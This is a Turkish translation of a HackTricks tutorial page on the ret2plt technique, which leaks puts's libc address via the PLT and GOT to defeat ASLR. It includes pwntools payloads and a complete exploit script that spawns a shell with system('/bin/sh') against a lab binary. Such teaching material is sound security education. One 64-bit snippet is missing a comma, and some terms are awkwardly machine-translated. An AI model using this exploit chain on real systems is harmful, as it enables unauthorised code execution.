Ret2plt

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Bu teknikteki amaç, PLT'den bir işlevin adresini sızdırmak ve ASLR'yi atlamak için kullanmaktır. Bu, örneğin, libc'den puts işlevinin adresini sızdırırsanız, ardından libc'nin tabanını hesaplayabilir ve diğer işlevlere erişmek için system gibi işlevlere erişmek için ofsetleri hesaplayabilirsiniz.

Bu, pwntools yüküyle şu şekilde yapılabilir (buradan):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

puts (PLT adresinden kullanılarak) puts'ın GOT'ta (Global Offset Table) bulunan adresi ile çağrıldığını gözlemleyin. Bu, puts GOT girdisini yazdırdığında, bu girdinin hafızadaki puts'ın tam adresini içereceği anlamına gelir.

Ayrıca, exploit içinde mainin adresinin kullanıldığına dikkat edin, böylece puts işlemini bitirdiğinde, binary çıkış yapmak yerine maini tekrar çağırır (bu nedenle sızdırılan adres geçerli olmaya devam eder).

Bu işlem için çalışması için binary'nin PIE ile derlenmemiş olması veya PLT, GOT ve main adreslerini bilmek için PIE'yi atlatmak için bir sızıntı bulmuş olmanız gerekir. Aksi takdirde, önce PIE'yi atlatmanız gerekir.

Bu atlatmanın tam örneğini burada bulabilirsiniz. Bu, o örneğin son exploit'iydi:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Diğer örnekler ve Referanslar

  • 64 bit, ASLR etkin ancak PIE yok, ilk adım, bir taşma oluşturarak canary'nin 0x00 baytına kadar doldurulması ve ardından puts'u çağırarak sızdırmaktır. Canary ile puts'u çağırmak için ROP cihazı oluşturulur ve GOT'tan puts adresini sızdırmak için bir ROP cihazı ve system('/bin/sh') çağırmak için bir ROP cihazı oluşturulur.

  • 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonundan yığın taşması. Puts'u çağırmak için ROP cihazı oluşturarak GOT'tan puts adresini sızdırmak ve ardından bir tane cihazı çağırmak için.

Last updated